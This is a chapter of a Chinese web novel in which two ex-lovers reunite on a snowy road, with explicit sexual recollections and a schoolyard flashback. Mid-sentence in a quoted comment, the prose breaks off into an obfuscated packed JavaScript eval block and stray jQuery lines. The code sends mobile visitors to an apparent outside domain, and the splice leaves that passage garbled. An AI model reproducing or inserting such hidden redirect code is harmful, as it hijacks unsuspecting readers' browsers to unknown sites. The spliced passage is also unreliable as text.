3. 第 3 章

作品:《不要心疼前男友

    许璋这人,脾气很坏,却总在生人面前装乖。


    人人都以为他温柔乖巧,实际上,在杭樾说完之后,就做好了和他打一架的准备。


    许璋是非常难伺候的,在床上轻了要咬人,重了要踹人,除了那张脸,浑身上下没有一处和“乖”沾边。


    杭樾以为除了自己这种忍者,没人能受得了他。


    可在分手之后,许璋丝毫不受影响,无论是从熟人口中听说,还是半夜翻看他的动态,都显示他过得风生水起,这让杭樾比死还难受。


    出乎意料,许璋似乎成长了。


    他没从车上跳下来打人,讥讽道:“就凭你?”


    杭樾盯着他看了会儿,冷冷地说:“就凭我,又不是没操过。”


    “你还真没操过,你操的是我的屁股,又不是我的嘴。”


    许璋盘腿端坐,吊着眼梢看他,眼尾扬起细微的弧度,像只狡猾的小狐狸,说的话吓死人不偿命。


    “嘶,你他吗……”杭樾看着他那样儿,没忍住爆了句粗。


    “来不来?”许璋突然问。


    杭樾还沉浸在黄色废料里,下意识以为他在邀请,瞬间愣住:“来……什么?”


    许璋扫了他一眼:“来帮我,不然来什么,你折回来就是为了骂人?”


    “……”


    杭樾觉得自己没救了,再见不过几分钟,思绪已经从荒芜野外飞到活色生香,身体率先勾起了所有的记忆。


    他沉着脸走过去,随手按压车胎问:“有备胎吗?”


    “有。”许璋终于离开他的王座,“你会换的话,我让保险公司别来了。”


    “你连胎都不会换,就敢一个人开这条线?”杭樾冷笑。


    从开始到现在,他都带着一股怨气。


    许璋抱着手臂笑:“我敢啊,我备胎多嘛。”


    杭樾的帅脸瞬间黑透,仿佛下一秒就会掉头走人。


    他阴郁地别开脸,低头翻找千斤顶。


    许璋轻飘飘道:“不就是昨晚拍了你一下,干嘛这么小心眼,我会给修车费的。”


    杭樾心想还好分的早,要是处个几年,迟早被他气成植物人。


    “你那是拍了一下吗?”他拿起工具,懒得看他。


    “二十五下,那又如何,你骂过我整整五十二条呢。”


    许璋站在旁边,没有帮忙的意思。


    他穿着白衣蓝裤,都是不经脏的颜色,有如一片纤尘不染的云朵,自然不可能屈尊降贵。


    杭樾也没使唤他递工具,理所当然地扔在地上,弄得满手套泥浆。


    “说话,凭什么骂我。”许璋说。


    杭樾没接茬,埋头道:“把你的画拿远点,或者回车里去。”


    许璋也没接他茬,反问:“那支车队是你组建的?”


    “不帮忙就别站着,碍眼。”


    “你为什么去川西?”


    两人自说自话,谁也没回答谁,仿佛接一句就输了。


    雪下得大了,簌簌地落在身上,许璋的鼻尖被吹得通红,没有去车上,而是歪头看着他修车。


    “你有很多备胎?”杭樾突兀地问。


    许璋吸了吸鼻子:“没有,就一个。”


    空气短暂安静,杭樾动作慢腾腾的,好像不大熟练,又问:“你去上海工作了?以后还画画吗?”


    许璋凉凉地说:“关你的事?”


    “不关我事。”


    “那你还问。”


    “我想问就问,关你的事?”


    许璋笑了起来:“不关我事,你想干什么都不关我事,你去留学也好,结婚也好,那是你自己的决定。”


    杭樾呼出一口气,在空气中凝成白雾。


    “有没有一种可能,我没有结婚,23年国庆那场是我表哥的婚礼呢?”


    他放下扳手,抬眼看着许璋,眼神冷到了极点。


    杭樾的眉骨煞是好看,仰视别人的时候,不仅没有卑微感,反而充满压迫和危险,仿佛一头等待捕猎的野兽。


    许璋想起上次被他这样注视,是在他家的浴室里。


    他坐在琉璃洗漱台上,杭樾弯腰跪下帮他口,分明是仰视的角度,却凶得像要把他一口吞下去。


    许璋抓着他的头发,小声地哭泣,哭到全身发颤,受不了地求饶。


    直到他彻底脱力,从台子上软软地滑下来,杭樾才不紧不慢抱起他,极其磨人地满足他。


    此男和他的长相一样,坏到骨子里了。


    许璋面上没有显露分毫,安静地微笑:“你别误会,我只是随口一说,我很少看别人的动态,也不知道你表哥什么时候结的婚。”


    杭樾沉默片刻,重新拿起扳手。“那你呢?”


    “我?”


    “你结婚没有?”


    许璋觉得有点意思,他开始看不懂杭樾的目的了。


    “你觉得我结婚没有?”


    “不要老是反问我。”杭樾皱眉,“是我先问的你。”


    “我的问题你也没回答,这不公平。”


    “你没结婚。”杭樾瞥向他垂落身侧的手。


    那双养尊处优的手,如同记忆中修长白皙,生下来就没做过重活,跟泡在牛奶里长大似的。


    无名指上,没有戒指。


    许璋又无趣起来,转身想回车上。


    杭樾在他身后说:“高三的时候,老师让每人分享一个想去的景点,你分享的是鱼子西,你说想在雪山上看一次日落。”


    “所以?”许璋挑眉。


    杭樾换完胎,拍了拍手上的灰,起身道:“所以我想去看看,那是个什么样的地方。”


    “当时每个人都上去分享了,你每个地方都去过?”许璋嘲道。


    “没那闲工夫。”杭樾骑上车,戴好头盔,“我去那里是因为想去,不是因为你,少自作多情。”


    他发动摩托,毫无留恋地扬长而去。


    许璋嘀咕:“我又没说是因为我。”


    他看着公路尽头消失的背影,心里知晓,这一路应该不会再碰面了。


    杭樾讨厌他,修车已经是仁至义尽。


    他启动车子,继续上路。


    雨刮器一晃一晃的,将玻璃上的碎雪拨开,雪粒子掉在道路上,被车轮碾压成泥水。


    车内放着一首歌,有点哀伤。


    许璋嫌它过于缠绵,换了首亢奋的摇滚,脑子里却开始想刚才的话题。


    婚姻——对他来说是个很陌生的词。


    他会结婚吗?


    或许会吧。


    找个志同道合的les,回家上演一场男欢女爱戏码,就像母亲离开后,他独自表演的十多年一样。


    他需要这个面具,许家也需要这个面具,他和许明楼都心知肚明。


    许明楼培养他、器重他,对那些破事视而不见,只要没人去捅破窗户纸,他就能心安理得享受现在的一切。


    他是许家最优秀的长子,是许氏最得力的高层,也是继母最痛恨的继子。


    他耀眼夺目,他光芒万丈,这些会化成一把利剑,刺穿那个取代他母亲的人的心脏,让她在高位上永远不能安宁。


    许璋勾起嘴角,心情颇好,随着音乐摇头晃脑。


    雪下得越来越大,他开得慢吞吞,一个刹车,后座的画滑了下去。


    颜料洒落一地,画笔堆成脏兮兮的小山。


    曾经将他从黑暗中拽出来的东西,他抱在怀里珍惜到不行的东西,如今已经不那么重要了。


    许璋看了眼后座,嘴角一点点降下去。


    英文歌播完后,又切回了刚刚那首歌。


    男声缓缓唱道:


    “如果可以


    我想和你


    回到那天相遇


    让时间停止那一场雨”


    “只想拥抱你在身边的证据


    吻你的呼吸


    一眨眼一瞬间


    你说好就是永远”


    车在夜色中前进,第二天晚上,进入了安庆。


    许璋开到服务区时,天已经黑了下来。


    路上遇到一辆理想,车上两个女生。


    副驾说车灯坏了,问能不能跟在他后面,许璋便打开语音让她们跟着。


    晚上能见度低,两辆车开得缓慢。


    副驾说:“怎么办啊,我找了一圈,周围的旅店全都满了。”


    “真的假的?你再搜搜看呢。”主驾道。


    “真的,不信你自己搜,啊啊啊他们都说这条线人多,昨天明明没什么人啊。”


    “要不找个充电桩,在车里凑合一晚得了。”


    “我们倒是还好,小帅哥开的是油车,他不得冻死啊。”


    “冻不死,我带了保暖设备。”许璋无所谓地说,“你们先去找充电桩吧,我开去前面问问。”


    他们都经验不足,没有提前订好旅店,只得分开行驶寻找。


    二十分钟后,许璋还真找到一间空房,将两个女生带了过去。


    “外面太冷了,要不……你和我们挤一挤?”副驾犹豫道。


    许璋说:“我再找找,不至于一间都没有。”


    他虽然是gay,但和两个陌生女孩挤,实在不像话。


    路边的雪积了寸余,寒风在公路上肆虐,白天辽阔的旷野,此时竟变得阴森可怖。


    许璋折腾了一大圈,也没找到空房,只好把车停在空地。


    他将座椅放下,拍了张照发朋友圈:【试试新买的床垫。】


    底下有人评论:【许总,你怎么睡车里了?】


    【听说这几天有大雪,许哥注意安全。】


    【你还不是雪地胎,记得装防滑链。】


    【晚上睡车里安全吗?你应该开房车去的,这条路人好多。】


    许璋躺在垫子上回复:【真要那么大雪,估


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019055|162174||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    计去不成川西了,随缘吧。】


    【懒得动,明天装。】


    【有人搞直播,把这条线带火了,还有徒步的呢。】


    他切换到微博,评论区很多带图片的评论。


    【@哎呀触礁啦:鱼妹快看!我家今天下雪了!】


    【@陈小姐和李先生:今天去了农庄,在雪地里煮火锅吃。】


    【@小手冰凉:全国都在下雪,除了广州。】


    【@湘川99:鱼宝年前回上海吗?】


    火锅……


    好饿哦。


    许璋回复@湘川99:【我回苏州。】


    那人问他:【宝宝你是苏州的?】


    他说:【我妈妈是苏州的,回老家。】


    他打了个哈欠,用围巾把脸圈住,埋进柔软的羊绒里。


    车里确实很冷,好在带了不少保暖工具,打开空调后定了个闹钟,打算过一会儿起来关掉。


    温度逐渐攀升,许璋的手脚都暖和起来,眼皮越来越沉重。


    他打了个瞌睡,并诡异地梦到了杭樾……


    梦里时空颠倒,回到那个纯真无虑的时代。


    2018年是个多事之秋,那一年霍金去世,□□连任总统,博鳌论坛开幕,马克思诞辰200周年。


    时政手册密密麻麻,写满一个又一个考点。


    许璋背得昏昏欲睡,突然听见有人大喊,说谁和谁在画室打起来了。


    为了方便艺术生考试,学校开设了专门的画室,就在他们班楼下。


    许璋想起那副画了一个月的画,当即从椅子上弹起来,跟着人群跑到画室门口。


    杭樾在和一个男生在打架。


    不,应该说他单方面殴打别人。


    许璋知道他,高调的风云人物,他们的父母认识,从高一同班到现在为止,两人没说过一句话。


    他觉得杭樾是个校霸,杭樾觉得他是个书呆子,互相瞧不上对方。


    轰隆隆!咣当!


    许璋一个急刹车,看见那幅画惊天动地倒下,中间破了个大口子。


    饶是他很能装,脸色还是瞬间冻结。


    杭樾的朋友赶紧阻拦,那个男生和杭樾差不多高,长相英俊,说话时语气冷静,很难想象会和校霸混在一起。


    “别打了,再打他要废了。”男生说,“让他立个保证,然后滚。”


    杭樾抿着嘴,森寒地望着地上的人。


    那人被打得满脸血,哭着哀求:“我保证……我再也不那么干了,求求你……求求你别打了。”


    “滚。”男生抬起下巴,他爬起来,屁滚尿流地跑了。


    “都散了吧,没什么好看的。”男生遣散围观群众,走到许璋面前,“对不起,我替杭樾向你道歉,那幅画要多少钱?我们赔给你。”


    许璋见众人都走了,伪装的大度终于消失。


    他走向杭樾,仰起头看着这人。


    杭樾望向他,男生也望向他。


    “抱歉,我赔你。”半晌,杭樾不耐烦地说道。


    许璋笑了起来,四处张望,嘴里说着:“你要赔我啊,好哇好哇。”


    他提起装满颜料水的塑料桶,朝着杭樾兜头泼了下去,瞬间把他染成一只五颜六色的大花猫。


    杭樾和男生都呆住,足足过了半分钟,才怒骂了句“我操”。


    许璋冷笑:“你操个屁,我操.死你才对。”


    说完,没去看他们瞠目结舌的表情,好汉不吃眼前亏,扭头撒丫子跑没了影儿。


    他和杭樾就此结下梁子,恨不能掐死彼此。


    许璋在梦里也十分费解,他到底是怎么和这家伙,从相看两相厌,变成光着身子滚床单的?


    哦,滚床单的时候,也像在对待杀父仇人。


    杭樾一点都不心疼他,每次快要不行了,也不等他缓缓,还总是直勾勾地盯着他的脸,欣赏他最难堪无助的样子。


    他经常哭得喉咙都哑了,只能靠一些小计俩来求饶——


    比如勾住杭樾的脖子,主动亲吻他,坐在他身上,喊他哥哥。


    每当这时候,杭樾一副被拿捏七寸的表情,沉着脸用力丁页他,命令他不准发骚。


    可他猜测,杭樾应该很喜欢他发骚。


    许璋觉得自己可能是挺骚的,不然不会打个盹都能做春.梦,他听见窗外有人在捶打玻璃,轰隆隆跟要打架似的。


    他睁开眼睛,杭樾的脸从梦境走进现实。


    许璋怀疑,他出现了幻觉。


    车窗外面,杭樾很凶地盯着他,拍打窗户命令他下车。


    “还不快开门!”他又拍了下车窗。


    许璋忽然感到委屈,他当真一点不心疼他。


    梦里跟他打架,把他的画戳了个洞,醒过来还要凶他。


    你再凶你爹试试呢。


    他抄起暖手袋,打开车窗砸向前任:“有病吧,滚。”